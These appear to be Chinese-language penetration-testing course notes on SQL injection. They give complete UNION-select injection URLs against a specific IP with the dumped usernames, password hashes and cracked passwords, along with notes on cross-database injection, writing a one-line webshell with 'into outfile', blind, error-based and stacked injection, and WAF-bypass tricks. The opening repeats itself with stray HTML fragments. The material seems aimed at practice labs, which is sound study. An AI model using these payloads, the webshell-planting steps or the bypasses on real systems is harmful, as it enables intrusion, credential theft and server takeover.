- http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name(将2改为表名),3,4 from information_schema.tables(记录所有表名信息的表
) where table_schema(数据库名)=’mozhe_Discuz_StormGroup’(查询的数据库名字)
注记:查询一个表来自记录所有表名信息的表出自于某数据库
查询所有:(用group_concat(table_name)进行拼接)
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’
结果:StormGroup_member…">查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name(将2改为表名),3,4 from information_schema.tables(记录所有表名信息的表
) where table_schema(数据库名)=’mozhe_Discuz_StormGroup’(查询的数据库名字)
注记:查询一个表来自记录所有表名信息的表出自于某数据库
查询所有:(用group_concat(table_name)进行拼接)
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’
结果:StormGroup_member… - http://219.153.49.228:43230/new_list.php?id=-1 union select 1,column_name,3,4 from information_schema.columns where table_name=’StormGroup_member’(查询到的表名)
结果:id,name,password,status
注记:查询一个列来自记录所有列名信息的表出自于某表名">查询指定表名StormGroup_member下的列名信息
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,column_name,3,4 from information_schema.columns where table_name=’StormGroup_member’(查询到的表名)
结果:id,name,password,status
注记:查询一个列来自记录所有列名信息的表出自于某表名 - http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member">查询指定数据
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member - http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1(添加的)
结果:
mozhe
356f589a7df439f6f744ff19bb8092c0 MD5解密 dsan13
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
结果:
mozhe
a26f03bdd67bc4a815c2c30c6daf0ce3 MD5解密 959003">猜解多个数据可以采用limit x,1 变动猜解
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1(添加的)
结果:
mozhe
356f589a7df439f6f744ff19bb8092c0 MD5解密 dsan13
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
结果:
mozhe
a26f03bdd67bc4a815c2c30c6daf0ce3 MD5解密 959003 - https://www.yuque.com/samxara/swro13/yhcgsk">文件读写
需要知道文件的路径!
路径获取方法:参考https://www.yuque.com/samxara/swro13/yhcgsk
1.修改网站服务器访问,可以修改此
下的,如添加 (指定服务器ip 域名)
2.脚本语言熟悉,javaweb、php、pythonweb(不需要会写,但是必须要看懂 )
3.漏了个大洞使用方法
Cdn相关技术:
当通过邮件或者其他方法查询到ip的时候,如果不能判断其真实性,可以通过host文件,当host中对应的ip与域名相同,可以打开网址,如果修改ip则不能打开,则认为其ip正确
在第九天的课程中,有一个对某传销网站的信息收集,可以重复多看几遍
第十二天:
假如x有注入,哪个注入语句是正确的
a.www.xiaodi8.com/news.php?y=1 and 1=1&x=2 &表示参数连接符号,此注入只在y参数后面进行了注入
b.www.xiaodi8.com/news.php?y=1&x=2 and 1=1 对
c.www .xiaodi8.com/news.php?y=1 and 1=1&x=2 and 1=1 对
d.www .xiaodi8.com/news.php?xx=1 and 1=1&xxx=2 and 1=1 都没有x参数 错误
Mozhe-web-sql-mysql手工
根据注入位置数据类型将sql注入分类
1.利用order判断字段数
order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错
?id=1’ order by 3—+(—+表示注释后面的语句,使其不生效)
2.利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数
?id=-1 union select 1,2,3 —+
3.利用函数database(),user(),version(),@@version_compile_os可以得到所探测数据库的数据库名、用户名和版本号,操作系统
?id=-1 union select 1,database(),version() —+(将其中2,3改为上述的内容)
知识点:
1.在mysql5.0以上的版本中,mysql存在一个自带的数据库名为:information_schema
,他是一个记录所有数据库名,表名,列名的数据库,也相当于查询他获取指定数据库下面的表名,列名。
2.数据库中符号”.”代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
3.
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本
查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name(将2改为表名),3,4 from information_schema.tables(记录所有表名信息的表
) where table_schema(数据库名)=’mozhe_Discuz_StormGroup’(查询的数据库名字)
注记:查询一个表来自记录所有表名信息的表出自于某数据库
查询所有:(用group_concat(table_name)进行拼接)
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’
结果:StormGroup_member…
查询指定表名StormGroup_member下的列名信息
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,column_name,3,4 from information_schema.columns where table_name=’StormGroup_member’(查询到的表名)
结果:id,name,password,status
注记:查询一个列来自记录所有列名信息的表出自于某表名
查询指定数据
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
猜解多个数据可以采用limit x,1 变动猜解
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1(添加的)
结果:
mozhe
356f589a7df439f6f744ff19bb8092c0 MD5解密 dsan13
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
结果:
mozhe
a26f03bdd67bc4a815c2c30c6daf0ce3 MD5解密 959003
第13天:
进行跨库攻击:必须具有最高的root权限。
select * from Table into outfile ‘/路径/文件名’
常见的数据库对应关系:
数据库A=网站A=数据库用户A ——>表名——>列名——>数据
数据库B=网站B=数据库用户B ——>表名——>列名——>数据
数据库C=网站C=数据库用户C ——>表名——>列名——>数据
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
所以可以通过select from schemata; 进行数据库名查询,再去选择进行查询获取指明数据库里的数据。因为只有知道了数据库的名,才可以进行跨库。
select from schemata:结果输出:
在网站中的步骤:
1.获取所有数据库名:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1 ,group_concat(schema_name)(表示连接所有数据库名),3 from information_schema.schemata(.表示下一级,即information_schema下的schemata数据库表)
2.获取指定qqyw数据库名下的表名信息:
union select 1,group_concat(table_name)(将2改为表名),3,from information_schema.tables(记录所有表名信息的表) where table_schema(数据库名)=’qqyw’(查询的数据库名字)
3.获取指定qqyw下的表名admin下的列名信息:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’admin’ and table_achema=’qqyw’
4.获取指定qqyw下的admin数据 :
union select 1,u,p from qqyw.admin
文件读写
需要知道文件的路径!
路径获取方法:参考https://www.yuque.com/samxara/swro13/yhcgsk
读取函数load_file(路径)
写入函数:into outfile 或 into dumpfile:如:’’ into outfile ‘/var/www/html/test.php’
注:这里经常使用 ’一句话木马’into outfile ‘某路径’来实现获取权限的目的
注:路径要用/而不用\是因为\经常被注释,使用\要写成\和python一样
参考:
https://www.yuque.com/samxara/swro13/yhcgsk
https://www.yuque.com/weiker/xiaodi/gknkvw
在读写中会遇到相关的防注入:
1.路径改为16进制,直接过滤
参考:https://www.yuque.com/weiker/xiaodi/gknkvw
2.3.4.
第十四天:
1.明确参数类型:https://www.yuque.com/samxara/swro13/bcrle7
2.明确请求方式:GET、POST、COOKIE、REQUEST、HTTP头等https://www.yuque.com/samxara/swro13/bcrle7
实例演示:
1.参数字符型注入测试=>sqlilabs less 5、6(两篇文章都可参考)
补充:
通过第一行,我们知道其使用字符型的注入,输入第四行,只闭合了前面的‘1’,后面的语句依旧无法判断,所以输入第七行才是正确的。
Less5: 当使用联合注入没有反应的时候,尝试报错注入
https://www.yuque.com/samxara/swro13/bcrle7
Less-6:
源代码:id.’”‘;
id LIMIT 0,1”;
因为id LIMIT 0,1”;的id的后面有LIMIT 0,1和上面的双引号
所以注入语句要写成?id=1’’ and 1=1—+ ?id=1’’ and 1=2—+
使用—+将LIMIT 0,1和上面的双引号注释掉!
实例2:
POST数据提交注入测试
=>sqlilabs less 11(两篇文章)
实例3:
COOKIE 数据提交注入测试
=>sqlilabs less 20(两篇文章)
实例4:
HTTP头部参数数据注入测试
=>sqlilabs less 18(两篇文章)
Json注入:如果遇到,要在’’1 and 1=1’’中进行注入
参数是字符的话,就要采用如上的方法。
第十五天:
Sqlmap的使用方法:https://www.yuque.com/weiker/xiaodi/us54cb最下面
不同数据库的注入:
1.Access数据库:
由于此数据库没有一些数据库名,版本的这些信息,所以当使用order by猜出字段之后,union select 1,列名,3 from 表名 就要自己猜他的表名和列名,当然也可以使用工具爆破。
具体参考:https://blog.csdn.net/qq_43573676/article/details/88253529
(以及两篇文章的知识点)
2.SQL server/MSSQL注入:
具体手工参考:https://www.cnblogs.com/xishaonian/p/6173644.html
工具使用:sqlmap
3.PostgraSQL
具体手工参考:https://www.webshell.cc/524.html
工具使用:sqlmap
4.Oracle
具体手工参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html
5.mongoDB
具体的使用工具在虚拟机中,使用方法在文件中写了。
第十六天:
查询方式与报错盲注:
前言:当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显的原因可能是SQL语句查询方式的问题导致,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其SQL语句大概写法也能更好的选择对应的注入语句。
1.报错注入:
首先我们需要明白sql语句的网站使用使用,根据不同的网站类别使用不同的sql语句,所以注入方法也不同。
注:因为updatexml的报错注入语句较为方便,所以以下均使用其。了解其他,两篇文档都有。
以上均在pickchu有练习。
具体参考:https://www.jianshu.com/p/bc35f8dd4f7c
两篇文章都有实例的演示!
Insert插入数据中的注入:
后续看https://www.yuque.com/weiker/xiaodi/klgklf
Updata更新数据中的注入:在修改个人信息的地方,原理相同。
Delete:注入代码可能和上面的不大一样,用+进行连接,看看文档。
2.SQL时间盲注—延迟注入
具体参考:https://www.yuque.com/weiker/xiaodi/klgklf
3.基于布尔的SQL盲注-逻辑判断
Less-5
具体参考:两篇都可以。
注:对access的偏移量注入,具体参考:
https://www.fujieace.com/penetration-test/access-offset-injection.html
第十七天
WEB漏洞——SQL注入之二次,加解密,DNS等注入
1.加解密注入:
即将注入的语句,或者注入点进行加密,在注入的时候需要将其加密的部分先进行解密,进而将注入语句完善在进行加密,最后将加密后的语句插入进去,即可实现注入的过程。
参考:两篇皆可
2.二次注入:
前提:需要知道其网站的源码,即所谓的白盒注入,容易出现在注册的等网站中,因为注册的时候,容易将注入语句以账号,密码的等形式直接存放在数据库中,具体了解还需百度多多学习。
参考:两篇+百度
3.dnslog注入
其他在工具里介绍
第十八天第十八天:
SQL注入之堆叠及WAF绕过注入
1.注入需要管理员账号密码,密码是加密的,无法解密
堆叠注入进行插入数据,用户密码是自定义的,可以正常解密登录
参考:两篇
2.安全狗下的waf绕过:
(1).提交方式下的绕过:必须在请求方式被允许的情况下。
(2).修改提交数据:具体参考两篇
(3).http参数污染,根据不同的服务器中间件解析的结果不同进行修改
https://www.yuque.com/samxara/swro13/naa086
第十九天:
Waf绕过:总之就是手工结合py脚本再结合sqlmap或者其他进行一些绕过技术
1.数据库版本绕过:
Union /!44509select/ 1,2,3
具体数据库版本绕过代码:https://www.yuque.com/samxara/swro13/hs1a6b
2.伪造扫索引擎爬虫脚本的绕过:
结合:sqlmap temper:https://blog.csdn.net/qq_34444097/article/details/82717357
3.使用sqlmap进行注入的时候:
遇到问题:结合代理—在bs中抓包找出去问题原因
(1).waf防护关键字—用py编写脚本进行关键字代替
(2).waf防护扫描软件—修改User-Agent代理值
(3).waf进行流量控制—使用waf防护中的百度爬虫,因为使用白名单中的东西就不会被防护
(4).如果需要修改的值,在bs中实现不了,需要将其改成数据包的形式,在用sqlmap进行注入
(5).中转注入
以上案例和图片均在两篇文章中,需要仔细如阅读!
